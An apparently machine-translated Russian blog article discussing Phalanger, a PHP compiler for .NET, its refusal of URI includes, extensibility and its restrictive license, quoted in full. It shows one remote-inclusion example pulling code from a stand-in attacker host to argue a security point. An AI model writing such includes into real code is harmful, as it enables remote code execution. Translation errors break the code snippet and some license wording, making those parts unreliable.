Статьи

Фалангер — лучше чем реальная вещь?

Ранее уже упоминалось о Phalanger — полное повторное внедрение PHP для .NET. С тех пор прошло долгий путь, и в прошлом месяце они выпустили версию 1.0 RC2 с журналом изменений, который предполагает, что они рассмотрели общие случаи использования и переходят к «приятным, чтобы» крайним случаям. Они также сообщили об успешном запуске phpMyAdmin, phpBB2 и PHP-Nuke под Phalanger.

Во всяком случае, читая о том, как включает в себя работу в Phalanger, один пункт выделился;

В PHP вы можете использовать либо физические пути, либо URI для указания целевого файла включения. URI должен начинаться со спецификации схемы (http: //, ftp: //, file: // и т. Д.), Которая устанавливает его отдельно от физического пути. В текущей версии Phalanger не поддерживает URI во включениях. URI поддерживаются только в функциях файловой системы, таких как fopen () .

Что здесь такого захватывающего? Короче говоря, Phalanger реализовал здесь лучшую / разумную политику безопасности, чем настоящий PHP , будь то случайно или намеренно.

С Phalanger вы все еще можете делать;

  file_get_contents ( 'http://example.com'); 

… без риска;

  включайте «http://evilhacker.net/somephp.txt»; 

Между тем, с настоящим PHP (даже самыми последними, насколько я знаю, версиями) вы можете использовать оба варианта или ни одного — первый — полезная функция, а второй — то, для чего действительно нет законного использования, но он представляет огромный риск для безопасности.

Для более подробной информации проблема обсуждалась еще 1 апреля 2004 года, и в комментарии Саймона это замечательно подытожено, а в этом комментарии более подробно говорится о старой записи в блоге Саймона . Джордж тоже объяснил это раньше.

В любом случае — все это заставило меня задуматься «А что если?». Что, если Phalanger не просто стремится быть равным PHP, но стремится к более высокому уровню? В некоторой степени, возможно, это уже там.

Для начала рассмотрим, что нужно для написания расширений. Возможно, лучшей иллюстрацией является этот список изменений . И сравните источник с его эквивалентом здесь (ZIP). Вы бы предпочли писать расширения на C (плюс изучение этого API ) или C #? Как вы думаете, что приводит к меньшему количеству ошибок / более быстрой разработке? Ян Бикинг сделал здесь точку.

Между тем, результаты тестов Phalanger могут вызвать удивление.

С моей точки зрения, основной проблемой для внедрения Phalanger является принятие.

На данный момент это все еще решение для Windows, которое станет выключением для многих. Они обсуждают Mono в FAQ, так что это может измениться однажды. Проблема управляемого кода (Phalanger поддерживает существующие расширения PHP таким образом) может быть решена с помощью достаточно большого сообщества, готового к повторной реализации в C #. С другой стороны, Mono также выглядит как не-событие с точки зрения поглощения — Novell, кажется, спит за рулем.

Другим препятствием является то, что авторы на самом деле не открыты (как в Open Source) с Phalanger. Да, реализации функций открыты, но реальное ядро ​​(синтаксический анализатор / среда выполнения PHP) защищено ограничительной лицензией (см. Конец). Между тем, где находится публичный Subversion / CVS / какой-либо репозиторий? Если вы работаете в небольшом магазине разработки, это критически важные вопросы для управления своей судьбой . Между тем, открытость необходима для привлечения сообщества разработчиков. Кстати, это не обвинение. Кстати, я уверен, что на это ушло много часов, и если вы подумаете, сколько времени понадобилось Zend, чтобы добраться до их места, у вас вполне могут возникнуть мысли о том, чтобы отдать эти часы бесплатно. Возможно, надежда на то, что кто- то купит это у них, к сожалению, что кто-то, кажется, не слишком склонен к реальным возможностям прямо сейчас, несмотря на это .

Иначе, может быть, есть что-то фундаментальное, что сдерживает такие проекты, как Phalanger, чтобы быть «также иранцем»? Принимая во внимание IronPython и jython , ни один из них, похоже, не испытывает скучного энтузиазма по поводу настоящего .

Тем не менее, если Phalanger должен был быть принят и каким-то образом начать использовать общие хосты по 5 долларов в месяц, вы бы его использовали? А что, если Phalanger должен был реализовать что-то вроде пространства имен перед реальной вещью — это было бы привлекательно для вас?

Если вы ответили утвердительно на любой из этих вопросов, статус-кво PHP сегодня начинает выглядеть совсем иначе.

Та лицензия, с которой вы должны согласиться использовать Phalanger, является;

Определения

В этом тексте «Авторы» обозначают команду фалангеров, состоящую из Яна Бенда, Мартина Малого, Томаса Матоусека, Павла Новака, Вацлава Новака и Ладислава Просека. «Программное обеспечение» обозначает Phalanger — компилятор языка PHP для .NET Framework — версия 1.0, созданная авторами. Последние версии Программного обеспечения, а также лицензии можно найти на веб-сайте http://www.php-compiler.net.

Эта Лицензия регулирует использование сопровождающего Программного обеспечения, и использование вами Программного обеспечения означает принятие этой лицензии.

Предоставление лицензии и ограничения

Вы можете использовать это Программное обеспечение в любых некоммерческих или коммерческих целях, с учетом ограничений, указанных в настоящей лицензии.

Вы не можете изменять Программное обеспечение. В частности, вы не можете изменять библиотеку классов, которая также распространяется в виде исходного кода.

Вы не можете перепроектировать, декомпилировать или дизассемблировать Программное обеспечение, за исключением случаев, когда это явно разрешено применимым законодательством, несмотря на данное ограничение.

Вы можете расширять это Программное обеспечение и распространять расширения для некоммерческих или коммерческих целей, однако вы не можете предоставлять права на Программное обеспечение или расширения, которые шире, чем те, которые предусмотрены настоящей Лицензией. Например, вы не имеете права распространять расширения Программного обеспечения в соответствии с условиями, которые позволят модифицировать, выполнять обратный инжиниринг, декомпиляцию или дизассемблирование Программного обеспечения, или в соответствии с условиями, которые подразумевают требование сублицензировать Программное обеспечение или расширения другим лицам.

Если вы расширили Программное обеспечение или создали производные работы и распространяете такие расширения или производные работы, вы заставите файлы содержать заметные уведомления, чтобы получатели знали, что они не получают оригинальное Программное обеспечение. В таких уведомлениях должно быть указано: (i) что вы расширили Программное обеспечение; и (ii) четкое разграничение ваших расширений.

Мы также требуем, чтобы вы согласились не удалять какие-либо уведомления об авторских правах или другие уведомления из Программного обеспечения. Если вы распространяете Программное обеспечение, вы должны включить дословную копию этой лицензии.

Авторы сохраняют за собой все права, явно не предоставленные данной лицензией.

прекращение

Ваши права по Лицензии прекращаются автоматически, если вы нарушаете их каким-либо образом.

Ограничение ответственности

ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ «КАК ЕСТЬ», БЕЗ ГАРАНТИЙ. ЭТО ОЗНАЧАЕТ НИКАКИХ ЯВНЫХ, ПОДРАЗУМЕВАЕМЫХ ИЛИ ПОДРАЗУМЕВАЮЩИХ ГАРАНТИЙ, ВКЛЮЧАЯ БЕЗ ОГРАНИЧЕНИЙ, ГАРАНТИЙ ТОВАРНОГО ОБЕСПЕЧЕНИЯ ИЛИ ПРИГОДНОСТИ ДЛЯ ОСОБЫХ ЦЕЛЕЙ ИЛИ ЛЮБОЙ ГАРАНТИИ НАИМЕНОВАНИЯ ИЛИ НЕЗАКРЕПЛЕННЫХ.

АВТОРЫ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЙ УЩЕРБ, СВЯЗАННЫЙ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ ИЛИ НАСТОЯЩЕЙ ЛИЦЕНЗИЕЙ, ВКЛЮЧАЯ ПРЯМЫЙ, НЕПОСРЕДСТВЕННЫЙ, СПЕЦИАЛЬНЫЙ, КОСВЕННЫЙ ИЛИ СЛУЧАЙНЫЙ УЩЕРБ, В СООТВЕТСТВИИ С МАКСИМАЛЬНЫМ ЗАКОНОДАТЕЛЬСТВОМ, НИ В КОТОРЫМ НЕ ИМЕЕТСЯ НИКАКОГО УКАЗАНИЯ.